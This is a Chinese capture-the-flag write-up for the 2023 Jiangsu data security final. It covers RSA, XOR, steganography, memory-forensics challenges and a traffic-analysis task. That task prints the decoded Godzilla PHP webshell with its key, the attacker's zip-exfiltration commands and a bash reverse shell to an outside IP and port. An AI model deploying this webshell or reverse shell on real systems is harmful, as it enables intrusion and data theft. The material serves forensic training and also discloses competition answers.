2023 江苏省数据安全竞赛 决赛

WriteUp 9个月前 admin
167 0 0

一个多月前的比赛了,直到最近偶然得知出题人竟在我“身边”,要来wp,才把比赛中没解出来的题目补全。(倒也没补得很全,还有一题逆向,不过那属于知识盲区了,逆向的区域,以后再来探索叭。)

crypto-easy_rsa

基础 rsa,e 和 phi 公因子5,所以除5,算d,解密,开根
from Crypto.Util.number import *

p=
q=
e=
c=

phi=(p-1)*(q-1)
d = inverse(e/5,phi)
m = pow(c,d,n)
m = iroot(m,5)[0]
print(long_to_bytes(m))

crypto-hard_rsa

这题值得另起一篇文章分析。

reverse-easy_calc

简单的异或加密

密钥

2023 江苏省数据安全竞赛 决赛

密文

2023 江苏省数据安全竞赛 决赛


2023 江苏省数据安全竞赛 决赛


c = '151911020907180A060E1D0506105F5F4B465F000248115C525D1B0756000E570c0457025c1c15535913'
m = '737570657263616C6966726167696C697374696365787069616C69646F63696F757363616E647963616E'

from pwn import xor

print(xor(bytes.fromhex(m),bytes.fromhex(c)))

b'flag{dyfohoday36826cg0a531rc9cg8yw4c2xl08}'

misc-steg

查看 0 通道

2023 江苏省数据安全竞赛 决赛


lsb隐写跑不掉了。不过应该是用加密了

2023 江苏省数据安全竞赛 决赛


在 alpha 层 0 通道还看到了一个

2023 江苏省数据安全竞赛 决赛


不过使用 cloacked-pixel 会报错,负载的 AES 信息大小不是 32 的倍数。

自己做一个三位数字典,然后使用 stegpy 爆破

2023 江苏省数据安全竞赛 决赛


misc-Easy_pic

使用 fft 可以看到有些东西,意会一下内容大概是 KEY: cloacked-pixel-master

2023 江苏省数据安全竞赛 决赛


随后用 cloacked-pixel 解一下就好。

2023 江苏省数据安全竞赛 决赛


流量分析-GozTraffic

  1. 黑客使用哥斯拉成功连接受害服务器并返回数据的时间是_____________。(格式为YYYY-MM-DD_HH:MM:SS)

在tcp67流,黑客把哥斯拉恶意代码 post 过去了,eval 的内容解码为

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='oL@ns!@opaOiw';
$payloadName='payload';
$key='6cfcfe9b99c68a0a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
  eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

根据代码,返回的数据是拼接而来,第一部分是 16 字节的 md5,然后是encode 的数据,然后是 16 自己的md5

本地写一个哥斯拉密文解密脚本方便后续内容解密

import gzip
def dec(c,key):
 p=""
 for i in range(len(c)):
  p += chr(ord(c[i])^ord(key[(i+1)&15]))
 return p

cipher = b""
from base64 import *


gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a")
print(gzip.decompress(gg.encode("latin1")).decode())



                                                                                                                                                          回到问题,数据返回的时间是


2023 江苏省数据安全竞赛 决赛

  1. 受害服务器的上游服务器IPv6地址是_________________。

    解密第 67 流最下面的密文数据,

    import gzip
    def dec(c,key):
     p=""
     for i in range(len(c)):
      p += chr(ord(c[i])^ord(key[(i+1)&15]))
     return p

    cipher = b"fO1rZmU5Yjk5YEtsqkLCDne7iE3No89VJx0yixLpBdTJXjOGqU2tfxwj7qInvyAUEtT7CfoSDh7QJvm6I8f9zfNoJAIDHjncHL0Vr6LpypsL2oZS/z/xYA1aBPEbbhqJrsQcRaXfsUnLPzvqb27Y+d7aK7UYR0Li1izdxQ/TvMG/PWwhSrXfCXGFdyqvjIb1pe3fFdkdqQDjb0v3xU1XmuTvzMnKkSrO4EIT04yGYZIOpCZUytFAYOnLfPpBuPIey/ULs9NwqS9Oaju72mswqHZhS/yobzO1J22xpB0Tlm+Sgdm+w2LVw3ykQCnm+VNqssJp8dadPH9O9MT1gh4cDPM7bePNdekG64HJTtc8y2Ox0LMEdPxOMN7I0G5kSsVmBpMRfCn6C5T97o9VWzp2RbcWIM3rqBSpjIZ8IlYIsnrx7HmwFZ5wi2XTQR14nJJU4P7PM4Y7pvevKjVdhaKItcNYK52nQz2mjXyxRqabEM/yDB/PQzTJv9onHAEYhwckZjd7yucx+w5a+ubvB2YJKRI/FCWmscTPPYMCebpckooUTHY/E4FvvJ40/MKCmR2dHls3e8ponKmqEavX/bA7ermcqyFpvUpO4HD2Cckjv7uDaPnw3ob+VwipTW1SU7dLjoD9p14XRxJWJXMN9Cu7Q9zZENsAbif7lgscBzEz/Kov9Ok3oL7edfIRgcVBPBzPW4WshuzzxCLkucS2+H9z2GaLm52yNXIjNCMmFlhBiOEaNWQoZH3gMOzcp7ZqXrz4wR7sYLgQuCl4rFW14K4hG+Fbsay9KJ27gPOrYVwI2iYEa0PkdN8wNs9lGzu1gPc4/kMls1rh52m63kbajPh6geBGa0e1WnK+yrrU3rIC2gmjKynJ+QUQQM+gH8RkcoUAr3yRD09xupGngrBi5/ESUbIHZlBTn6GDP6HK6xD7B85+Lj+zZ52kjESwOu8i74Bwamrk0cn+z+zBu9Yb0iab1XBTRKoOHD0JrtX1R3oV0J7vi9pahwsd/e5MNEt9X01KbbxUPtn4LuDZH61ZvBhT8ICM0XH5pgq2eAFI/mRbWgA9pih/ot9Grf9GIYIC75cGJzfuSScjGg5Fcy6WqrsANDiT4C+de19P/uWRX0H/eYuVuv5vCQYYJrpOpwHI7nORbdeXjhsrn/kpVuy9L/n3QOVHID0j/af4LofMy71Ov8M8O9gdlWhjvfIgyTmAE3+PgmNjZg=="
    from base64 import *


    gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a")
    print(gzip.decompress(gg.encode("latin1")).decode())

    得到

    OsInfo : Linux ctmd 6.2.0-32-generic #32~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 18 10:40:13 UTC 2 x86_64
    CurrentUser : www
    REMOTE_ADDR : fd15:4ba5:5a2b:1008:20c:29ff:fe57:a107
    REMOTE_PORT : 33928
    HTTP_X_FORWARDED_FOR : fd15:4ba5:5a2b:1008:f581:619a:b163:c627
    HTTP_CLIENT_IP : 
    SERVER_ADDR : fd15:4ba5:5a2b:1008:60b9:ff63:528e:149d
    SERVER_NAME : tp6.0.1.com
    SERVER_PORT : 32154
    disable_functions : 
    Open_basedir : 
    timezone : PRC
    encode : 
    extension_dir : /www/server/php/81/lib/php/extensions/no-debug-non-zts-20210902
    systempdir : /tmp/
    include_path : .:
    DOCUMENT_ROOT : /www/wwwroot/32154/tp/public
    PHP_SAPI : fpm-fcgi
    PHP_VERSION : 8.1.17
    PHP_INT_SIZE : 8
    ProcessArch : x64
    PHP_OS : Linux
    canCallGzipDecode : 1
    canCallGzipEncode : 1
    session_name : PHPSESSID
    session_save_path : 
    session_save_handler : files
    session_serialize_handler : php
    user_ini_filename : .user.ini
    memory_limit : 128M
    upload_max_filesize : 50M
    post_max_size : 50M
    max_execution_time : 0
    max_input_time : 60
    default_socket_timeout : 60
    mygid : 1001
    mypid : 81435
    SERVER_SOFTWAREypid : nginx/1.22.1
    loaded_extensions : Core,date,libxml,openssl,pcre,sqlite3,zlib,bcmath,ctype,curl,dom,filter,ftp,gd,gettext,hash,iconv,intl,json,mbstring,SPL,session,pcntl,standard,mysqlnd,PDO,pdo_mysql,pdo_sqlite,Phar,posix,Reflection,mysqli,shmop,SimpleXML,soap,sockets,sodium,sysvsem,tokenizer,xml,xmlreader,xmlwriter,cgi-fcgi,zip
    short_open_tag : true
    asp_tags : false
    safe_mode : false
    CurrentDir : /www/wwwroot/32154/tp/public
    FileRoot : /

    三个 ipv6 都试了一下,好像是:fd15:4ba5:5a2b:1008:60b9:ff63:528e:149d

  2. 黑客对受害服务器上的敏感文件进行打包操作,请问该压缩包密码是___________。

    接下来是非常脑洞的部分:

    在 57 流能够看到一段base64

    2023 江苏省数据安全竞赛 决赛


    解密后是一段php 的 aes 加密

    <?php    
    function customEncrypt($data, $key) {
        $key = md5($key);
        $iv = random_bytes(16);
        $encryptedData = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
        $result = base64_encode($iv . $encryptedData);
        return $result;
    }

    但是我们没key啊?预期解是让我们爆,,key 的长度是 5 个字符,并且是十六进制字符,很难崩,爆出来的密钥是 61c42

    找到第23流的数据

    from base64 import *

    cc = b64decode("jiVOhckW3Dp9ePlm2iuyBWBHWNlDxWbTlAqPt+JLIa8s3+vJZlcVIHKETqbIknErPCkevvm3heHFI5Vc5W8Wby8+W+6hfhjM/i0XyxsbIZVj5QyHQ4isWlekCszQlevGH8SlxjvfIRcbMxdUXREI/EWGiZKdFL81U80x7V9em+MJ4KsScq0bgnJ98yq1nMcl")


    c = cc[16:]
    iv = cc[:16]
    key = b'a5a74e2ab431761ecb2299ef88d46a38'
    from Crypto.Cipher import AES
    enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC)
    print(enc.decrypt(c))

    得到

    b’system(‘zip -q -r -P “SN@jSoiueFIEZSIDJ” /www/wwwroot/32154/tp/public/flag.zip /www/wwwroot/32154/tp/public/db/dumpfile.sql’);x02x02′

  3. 黑客留下的后门IP地址和端口号是________________。(格式为IP_PORT)

    解密tcp 76流的流量,

    import gzip
    def dec(c,key):
     p=""
     for i in range(len(c)):
      p += chr(ord(c[i])^ord(key[(i+1)&15]))
     return p

    cipher = b"fO1rZmU5Yjk5YGVutX+r+rApKUqr2WAoM9n/MouZdJ+qbHM4w7v4pEcpXKEfeRO33cfC7/uQ/Jin8peZ37nwh/LH4ev/mFg5tEnbaCIwYTY="
    from base64 import *


    gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a")
    print(gzip.decompress(gg.encode("latin1")).decode())

    得到

    #!/bin/bash
    bash -c 'exec bash -i &>/dev/tcp/114.5.1.211/42321 <&1'
  4. 受害服务器上的中间件、中间件版本、PHP版本、框架名以及对应版本为___________。(格式为:中间件:中间件版本_PHP版本_框架名:框架版本,如tomcat:9.0.0_5.4.0_yii:2.38.0)

    根据第二题的信息,我们知道中间件的版本是 nginx/1.22.1;php的版本是 8.1.17,但是不知道 thinkphp 的版本

    和第三小题一样,不过密钥又换了 ,这回是 ‘23b4d

    from base64 import *
    from hashlib import md5
    cc = b64decode("4Q77JutsR+DCTQEDptU6aUvtVVu5h+F+mIHcSE3jJl9hnjPSnBapKdxNNJ3i0Qgr")

    from Crypto.Cipher import AES
    c = cc[16:]
    iv = cc[:16]
    for i in range(1048575):
     key = md5(hex(i)[2:].rjust(5,'0').encode()).hexdigest().encode()
    #key = b'a5a74e2ab431761ecb2299ef88d46a38'
    #key = b'1d77b220bdf94d38007e3e6e9c380588'
     enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC)
     res = enc.decrypt(c)
     if res[-1]==res[-2]==res[-3]:
      print(res,hex(i))

    找到 version.zip 的密码

    from base64 import *
    from hashlib import md5
    cc = b64decode("WsclGnueTdLgsUSeNeoqvUouMsABv70pjjt+0cUFsLQMlEkgUVXIZV4cyshI0Z5aGXQ4ZNefWX37rbR88Im2Qp5j08fnwXj9st8vV2cdhfODV24X0iL5V5aR0pB+eRiNE+oDRLAQBxR2UBcnjCk/inupvIHpSzD9Ug1GhtFGdMW/SeF0+s6LCaeRSqvoggeF")

    from Crypto.Cipher import AES
    c = cc[16:]
    iv = cc[:16]
    key = b'1d77b220bdf94d38007e3e6e9c380588'
    enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC)
    res = enc.decrypt(c)
    print(res)

    # b'system("zip -q -r -P "MS1209D@IOEJabnsdIUJEOI@" /www/wwwroot/32154/tp/public/version.zip /www/wwwroot/32154/tp/composer.json");x01'

    8604数据包拿到 version.zip

    2023 江苏省数据安全竞赛 决赛


    获得框架版本

    2023 江苏省数据安全竞赛 决赛


    所以 flag:nginx:1.22.1_8.1.17_thinkphp:6.0.12

    (比赛的时候根本没人能想到这么脑洞的加密方式,因此与压缩包密码相关的两题也都没人能做出来)

内存取证-MemoryLife

  1. 请给出内存镜像中黑客使用工具对外连接的IP地址及端口号是___________。(格式为IP_PORT)

    volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 netscan

    找到一个nc.exe 外连192.168.233.1_54266

    2023 江苏省数据安全竞赛 决赛


  2. 请给出内存镜像中用户BGS-Chenyi的开机密码___________。

    使用工具 Passware Kit Forensic

    2023 江苏省数据安全竞赛 决赛


    abc123456

  3. 黑客工具里的LOGONSERVER环境变量值是___________。

    把 nc.exe dump下来,搜索LOGONSERVER,找到 BGS-CHENYJ-PC

    volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 pslist

    volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 memdump -p 3036 -D ./

2023 江苏省数据安全竞赛 决赛


  1. 请给出内存镜像中屏幕里的内容___________。

dump 下 mspaint.exe,

volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 memdump -p 4312 -D ./

在gimp里调

得到

2023 江苏省数据安全竞赛 决赛


旋转一下,gydk5sp

  1. 请给出wps.ini最后的修改时间_____________。(格式为YYYY-MM-DD_hh:mm:ss_+0000)

volatility_2.6_win64_standalone.exe -f MemoryLife.raw --profile=Win7SP1x64 mftparser

2023 江苏省数据安全竞赛 决赛


2023-09-19_03:31:27_+0000

附件链接:https://pan.baidu.com/s/1_TZbTEMiyiBKX_STc-81gQ?pwd=0t61

原文始发于微信公众号(Van1sh):2023 江苏省数据安全竞赛 决赛

版权声明:admin 发表于 2023年10月31日 上午10:42。
转载请注明:2023 江苏省数据安全竞赛 决赛 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...